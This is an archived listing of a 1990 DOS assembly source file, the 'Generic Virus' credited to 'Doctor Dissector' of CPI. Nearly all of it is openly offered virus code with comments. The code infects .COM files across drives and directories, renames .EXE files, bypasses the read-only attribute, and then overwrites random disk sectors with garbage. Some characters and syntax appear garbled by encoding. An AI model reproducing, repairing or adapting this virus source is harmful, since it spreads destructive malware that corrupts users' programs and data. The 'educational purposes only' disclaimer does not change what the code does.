home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / GENERIC.ASM < prev    next >
Assembly Source File  |  1990-04-04  |  12KB  |  260 lines

  1. ;=============================================================================
  2. ;
  3. ;                                    C*P*I
  4. ;
  5. ;                     CORRUPTED PROGRAMMING INTERNATIONAL
  6. ;                     -----------------------------------
  7. ;                               p r e s e n t s
  8. ;
  9. ;                                    T H E
  10. ;                              _                 _
  11. ;                             (g) GENERIC VIRUS (g)
  12. ;                              ^                 ^
  13. ;
  14. ;
  15. ; A GENERIC VIRUS - THIS ONE MODIFIES ALL COM AND EXE FILES AND ADDS A BIT OF
  16. ;   CODE IN AND MAKES EACH A VIRUS. HOWEVER, WHEN IT MODIFIES EXE FILES, IT
  17. ; RENAMES THE EXE TO A COM, CAUSING DOS TO GIVE THE ERROR ╥PROGRAM TO BIG TO
  18. ;    FIT IN MEMORY╙ THIS WILL BE REPAIRED IN LATER VERSIONS OF THIS VIRUS.
  19. ;
  20. ; WHEN IT RUNS OUT OF FILES TO INFECT, IT WILL THEN BEGIN TO WRITE GARBAGE ON
  21. ;                     THE DISK. HAVE PHUN WITH THIS ONE.
  22. ;
  23. ;  ALSO NOTE THAT THE COMMENTS IN (THESE) REPRESENT DESCRIPTION FOR THE CODE
  24. ;  IMMEDIATE ON THAT LINE. THE OTHER COMMENTS ARE FOR THE ENTIRE ;| GROUPING.
  25. ;
  26. ;  THIS FILE IS FOR EDUCATIONAL PURPOSES ONLY. THE AUTHOR AND CPI WILL NOT BE
  27. ;   HELD RESPONSIBLE FOR ANY ACTIONS DUE TO THE READER AFTER INTRODUCTION OF
  28. ;  THIS VIRUS. ALSO, THE AUTHOR AND CPI DO NOT ENDORSE ANY KIND OF ILLEGAL OR
  29. ;             ILLICIT ACTIVITY THROUGH THE RELEASE OF THIS FILE.
  30. ;
  31. ;                                                        DOCTOR DISSECTOR
  32. ;                                                        CPI ASSOCIATES
  33. ;
  34. ;=============================================================================
  35.  
  36. MAIN:
  37.       NOP                       ;| Marker bytes that identify this program
  38.       NOP                       ;| as infected/a virus
  39.       NOP                       ;|
  40.  
  41.       MOV AX,00                 ;| Initialize the pointers
  42.       MOV ES:[POINTER],AX       ;|
  43.       MOV ES:[COUNTER],AX       ;|
  44.       MOV ES:[DISKS B],AL       ;|
  45.  
  46.       MOV AH,19                 ;| Get the selected drive (dir?)
  47.       INT 21                    ;|
  48.  
  49.       MOV CS:DRIVE,AL           ;| Get current path (save drive)
  50.       MOV AH,47                 ;| (dir?)
  51.       MOV DH,0                  ;|
  52.       ADD AL,1                  ;|
  53.       MOV DL,AL                 ;| (in actual drive)
  54.       LEA SI,CS:OLD_PATH        ;|
  55.       INT 21                    ;|
  56.  
  57.       MOV AH,0E                 ;| Find # of drives 
  58.       MOV DL,0                  ;|
  59.       INT 21                    ;|
  60.       CMP AL,01                 ;| (Check if only one drive)
  61.       JNZ HUPS3                 ;| (If not one drive, go the HUPS3)
  62.       MOV AL,06                 ;| Set pointer to SEARCH_ORDER +6 (one drive)
  63.  
  64.       HUPS3: MOV AH,0           ;| Execute this if there is more than 1 drive
  65.       LEA BX,SEARCH_ORDER       ;|
  66.       ADD BX,AX                 ;|
  67.       ADD BX,0001               ;|
  68.       MOV CS:POINTER,BX         ;|
  69.       CLC                       ;|
  70.  
  71. CHANGE_DISK:                    ;| Carry is set if no more .COM files are
  72.       JNC NO_NAME_CHANGE        ;| found. From here, .EXE files will be
  73.       MOV AH,17                 ;| renamed to .COM (change .EXE to .COM)
  74.       LEA DX,CS:MASKE_EXE       ;| but will cause the error message ╥Program  
  75.       INT 21                    ;| to large to fit in memory╙ when starting
  76.       CMP AL,0FF                ;| larger infected programs
  77.       JNZ NO_NAME_CHANGE        ;| (Check if an .EXE is found)
  78.  
  79.       MOV AH,2CH                ;| If neither .COM or .EXE files can be found,
  80.       INT 21                    ;| then random sectors on the disk will be
  81.       MOV BX,CS:POINTER         ;| overwritten depending on the system time
  82.       MOV AL,CS:[BX]            ;| in milliseconds. This is the time of the
  83.       MOV BX,DX                 ;| complete ╥infection╙ of a storage medium.
  84.       MOV CX,2                  ;| The virus can find nothing more to infect
  85.       MOV DH,0                  ;| starts its destruction.
  86.       INT 26                    ;| (write crap on disk)
  87.  
  88. NO_NAME_CHANGE:                 ;| Check if the end of the search order table
  89.       MOV BX,CS:POINTER         ;| has been reached. If so, end.
  90.       DEC BX                    ;|
  91.       MOV CS:POINTER,BX         ;|
  92.       MOV DL,CS:[BX]            ;|
  93.       CMP DL,0FF                ;|
  94.       JNZ HUPS2                 ;|
  95.       JMP HOPS                  ;|
  96.       
  97. HUPS2:                          ;| Get a new drive from the search order table
  98.       MOV AH,0E                 ;| and select it, beginning with the ROOT dir.
  99.       INT 21                    ;| (change drive)
  100.       MOV AH,3B                 ;| (change path)
  101.       LEA DX,PATH               ;|
  102.       INT 21                    ;|
  103.       JMP FIND_FIRST_FILE       ;|
  104.  
  105. FIND_FIRST_SUBDIR:              ;| Starting from the root, search for the
  106.       MOV AH,17                 ;| first subdir. First, (change .exe to .com)
  107.       LEA DX,CS:MASKE_EXE       ;| convert all .EXE files to .COM in the
  108.       INT 21                    ;| old directory.
  109.       MOV AH,3B                 ;| (use root directory)
  110.       LEA DX,PATH               ;|
  111.       INT 21                    ;|
  112.       MOV AH,04E                ;| (search for first subdirectory)
  113.       MOV CX,00010001B          ;| (dir mask)
  114.       LEA DX,MASKE_DIR          ;|
  115.       INT 21                    ;|
  116.       JC CHANGE_DISK            ;|
  117.       MOV BX,CS:COUNTER         ;|
  118.       INC BX                    ;|
  119.       DEC BX                    ;|
  120.       JZ  USE_NEXT_SUBDIR       ;|
  121.  
  122. FIND_NEXT_SUBDIR:               ;| Search for the next sub-dir, if no more
  123.       MOV AH,4FH                ;| are found, the (search for next subdir)
  124.       INT 21                    ;| drive will be changed.
  125.       JC CHANGE_DISK            ;|
  126.       DEC BX                    ;|
  127.       JNZ FIND_NEXT_SUBDIR      ;|
  128.  
  129. USE_NEXT_SUBDIR:      
  130.       MOV AH,2FH                ;| Select found directory. (get dta address)
  131.       INT 21                    ;|
  132.       ADD BX,1CH                ;|
  133.       MOV ES:[BX],W╙\╙          ;| (address of name in dta)
  134.       INC BX                    ;|
  135.       PUSH DS                   ;|
  136.       MOV AX,ES                 ;|
  137.       MOV DS,AX                 ;|
  138.       MOV DX,BX                 ;|
  139.       MOV AH,3B                 ;| (change path)
  140.       INT 21                    ;|
  141.       POP DS                    ;|
  142.       MOV BX,CS:COUNTER         ;|
  143.       INC BX                    ;|
  144.       MOV CS:COUNTER,BX         ;|
  145.  
  146. FIND_FIRST_FILE:                ;| Find first .COM file in the current dir.
  147.       MOV AH,04E                ;| If there are none, (Search for first)
  148.       MOV CX,00000001B          ;| search the next directory. (mask)
  149.       LEA DX,MASKE_COM          ;|
  150.       INT 21                    ;|
  151.       JC FIND_FIRST_SUBDIR      ;|
  152.       JMP CHECK_IF_ILL          ;|
  153.  
  154. FIND_NEXT_FILE:                 ;| If program is ill (infected) then search
  155.       MOV AH,4FH                ;| for another. (search for next)
  156.       INT 21                    ;|
  157.       JC FIND_FIRST_SUBDIR      ;|
  158.  
  159. CHECK_IF_ILL:                   ;| Check if already infected by virus.
  160.       MOV AH,3D                 ;| (open channel)
  161.       MOV AL,02                 ;| (read/write)
  162.       MOV DX,9EH                ;| (address of name in dta)
  163.       INT 21                    ;|
  164.       MOV BX,AX                 ;| (save channel)
  165.       MOV AH,3FH                ;| (read file)
  166.       MOV CH,BUFLEN             ;|
  167.       MOV DX,BUFFER             ;| (write in buffer)
  168.       INT 21                    ;|
  169.       MOV AH,3EH                ;| (close file)
  170.       INT 21                    ;|
  171.       MOV BX,CS:[BUFFER]        ;| (look for three NOP╒s)
  172.       CMP BX,9090               ;| 
  173.       JZ FIND_NEXT_FILE         ;|
  174.  
  175.       MOV AH,43                 ;| This section by-passes (write enable)
  176.       MOV AL,0                  ;| the MS/PC DOS Write Protection.
  177.       MOV DX,9EH                ;| (address of name in dta)
  178.       INT 21                    ;|
  179.       MOV AH,43                 ;|
  180.       MOV AL,01                 ;|
  181.       AND CX,11111110B          ;|
  182.       INT 21                    ;|
  183.  
  184.       MOV AH,3D                 ;| Open file for read/write (open channel)
  185.       MOV AL,02                 ;| access (read/write)
  186.       MOV DX,9EH                ;| (address of name in dta)
  187.       INT 21                    ;|
  188.  
  189.       MOV BX,AX                 ;| Read date entry of program and (channel)
  190.       MOV AH,57                 ;| save for future use. (get date)
  191.       MOV AL,0                  ;|
  192.       INT 21                    ;|
  193.       PUSH CX                   ;| (save date)
  194.       PUSH DX                   ;|
  195.  
  196.       MOV DX,CS:[CONTA W]       ;| The jump located at 0100h (save old jmp)
  197.       MOV CS:[JMPBUF],DX        ;| the program will be saved for future use.
  198.       MOV DX,CS:[BUFFER+1]      ;| (save new jump)
  199.       LEA CX,CONT-100           ;|
  200.       SUB DX,CX                 ;|
  201.       MOV CS:[CONTA],DX         ;|
  202.  
  203.       MOV AH,57                 ;| The virus now copies itself to (write date)
  204.       MOV AL,1                  ;| to the start of the file.
  205.       POP DX                    ;| 
  206.       POP CX                    ;| (restore date)
  207.       INT 21                    ;|
  208.       MOV AH,3EH                ;| (close file)
  209.       INT 21                    ;|
  210.  
  211.       MOV DX,CS:[JMPBUF]        ;| Restore the old jump address. The virus
  212.       MOV CS:[CONTA],DX         ;| at address ╥CONTA╙ the jump which was at the
  213.                                 ;| start of the program. This is done to
  214. HOPS:                           ;| preserve the executability of the host
  215.       NOP                       ;| program as much as possible. After saving,
  216.       CALL USE_OLD              ;| it still works with the jump address in the
  217.                                 ;| virus. The jump address in the virus differs
  218.                                 ;| from the jump address in memory
  219.     
  220. CONT  DB  0E9                   ;| Continue with the host program (make jump)
  221. CONTA DW  0                     ;|
  222.       MOV AH,00                 ;|
  223.       INT 21                    ;|
  224.  
  225. USE_OLD:
  226.       MOV AH,0E                 ;| Reactivate the selected (use old drive)
  227.       MOV DL,CS:DRIVE           ;| drive at the start of the program, and
  228.       INT 21                    ;| reactivate the selected path at the start
  229.       MOV AH,3B                 ;| of the program.(use old drive)
  230.       LEA DX,OLD_PATH-1         ;| (get old path and backslash)
  231.       INT 21                    ;| 
  232.       RET                       ;|
  233.  
  234. SEARCH_ORDER DB 0FF,1,0,2,3,0FF,00,0FF
  235.  
  236. POINTER      DW   0000          ;| (pointer f. search order)
  237. COUNTER      DW   0000          ;| (counter f. nth. search) 
  238. DISKS        DB   0             ;| (number of disks)
  239. MASKE_COM    DB ╥*.COM╙,00      ;| (search for com files)
  240. MASKE_DIR    DB ╥*╙,00          ;| (search for dir╒s)
  241. MASKE_EXE    DB 0FF,0,0,0,0,0,00111111XB
  242.              DB 0,╙????????EXE╙,0,0,0,0
  243.              DB 0,╙????????COM╙,0
  244. MASKE_ALL    DB 0FF,0,0,0,0,0,00111111XB
  245.              DB 0,╙???????????╙,0,0,0,0
  246.              DB 0,╙????????COM╙,0
  247.  
  248. BUFFER EQU 0E00                 ;| (a safe place)
  249.  
  250. BUFLEN EQU 208H                 ;| Length of virus. Modify this accordingly
  251.                                 ;| if you modify this source. Be careful
  252.                                 ;| for this may change!
  253.  
  254. JMPBUF EQU BUFFER+BUFLEN        ;| (a safe place for jmp)
  255.  
  256. PATH  DB ╥\╙,0                  ;| (first place)
  257. DRIVE DB 0                      ;| (actual drive)
  258. BACK_SLASH DB ╥\╙
  259. OLD_PATH DB 32 DUP (?)          ;| (old path)
  260.